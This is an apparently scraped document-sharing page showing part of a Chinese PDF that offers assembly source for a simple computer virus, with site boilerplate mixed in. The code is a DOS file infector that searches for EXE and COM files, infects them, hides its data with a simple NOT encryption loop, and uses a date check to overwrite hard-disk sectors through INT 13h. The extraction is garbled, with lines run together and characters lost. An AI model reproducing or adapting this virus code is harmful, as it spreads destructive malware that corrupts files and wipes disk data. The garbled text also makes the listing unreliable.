计算机病毒可以用汇编写吗,用汇编语言写一个简单病毒程序源代码.pdf
《计算机病毒可以用汇编写吗,用汇编语言写一个简单病毒程序源代码.pdf》由会员分享,可在线阅读,更多相关《计算机病毒可以用汇编写吗,用汇编语言写一个简单病毒程序源代码.pdf(8页珍藏版)》请在淘文阁 - 分享文档赚钱的网站上搜索。
1、欢迎您阅读并下载本文档,本文档来源于互联网,如有侵权请联系删除!我们将竭诚为您提供优质的文档!计算机病毒可以汇编写吗,汇编语写个简单病毒程序源代码;感染对象:DOS 的 EXE COM 件;编译具:MASM 6.0,MASM 6.11CODE SEGMENTassume cs:code.386org 100hstart:mov cs:oldsp,sp;保存原程序的堆栈指针mov cs:oldss,ss;mov sp,stack_endmov ax,cs;设置新的堆栈指针mov ss,ax;push ds;保存原 ds espush es;mov ds,axmov es,axsub ax,old
2、seg;算出原程序的push ax;并保存栈push oldip;call setfile;程序的核部分pop cs:oldip;取回原程序的pop cs:oldseg;pop es;恢复原 es dspop ds;mov sp,cs:oldss;恢复原 ss,spmov ss,sp;mov sp,cs:oldsp;push oldseg;跳回原程序点push oldip;retf;db 09ah欢迎您阅读并下载本文档,本文档来源于互联网,如有侵权请联系删除!我们将竭诚为您提供优质的文档!getdate proc near;这个函数是取得时间是否是星期是则破坏硬盘数据mov ax,0ec32h
3、;写要执的代码 int 13hnot ax;到 dest1 位置mov si,des1;这既加密代码mov word ptr si,ax;mov ah,2ahint 21hcmp al,2jnz gd_conmov ax,312hmov cx,1mov dx,80hdes1:db 0ebhdb 32retgd_con:retgetdate endpsetfile1 proc nearcall findfirstsf_con:jc sf_backcall modifycall findnextjmp sf_consf_back:retsetfile1 endpsetdata proc nearp
4、ush sipush dipush cxpush ax欢迎您阅读并下载本文档,本文档来源于互联网,如有侵权请联系删除!我们将竭诚为您提供优质的文档!pushfmov si,offset normal1mov di,simov cx,23haaa2:lodsbnot axstosbloop aaa2popfpop axpop cxpop dipop siretsetdata endpsetfile proc nearcmp ax,127h;没有作只是挠jnz aaa1;ax 不可能等于 127hcall dword ptr oldsp;ret;db 0e8h;aaa:call getdatere
5、taaa1:mov ah,01ah;设置磁盘传输地址mov dx,offset dta;于 findfirstint 21h;call setdata;数据解密push aaamov dx,offset normal1;找*.exemov ax,offset dtaadd ax,01ehmov fs,ax;fs 于传递件名的地址欢迎您阅读并下载本文档,本文档来源于互联网,如有侵权请联系删除!我们将竭诚为您提供优质的文档!call setfile1;传染件mov dx,offset normal2;找*.comcall setfile1mov dx,offset bootcmd;找 c:mov
6、fs,dxcall setfile1mov dx,offset bootcmd1;找 c:mov si,dx;mov word ptr si,:C;mov fs,dx;call setfile1;retsetfile endpdb 09ahfindfirst proc nearmov ax,04e27hint 21hretfindfirst endpfindnext proc nearmov ah,04fhint 21hretfindnext endpmodify proc near;修改并感染程序mov si,offset sbuffer;可执的件头的地址mov di,offset dta;
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 计算机病毒 可以 汇编 汇编语言 一个 简单 病毒 程序 源代码
限制150内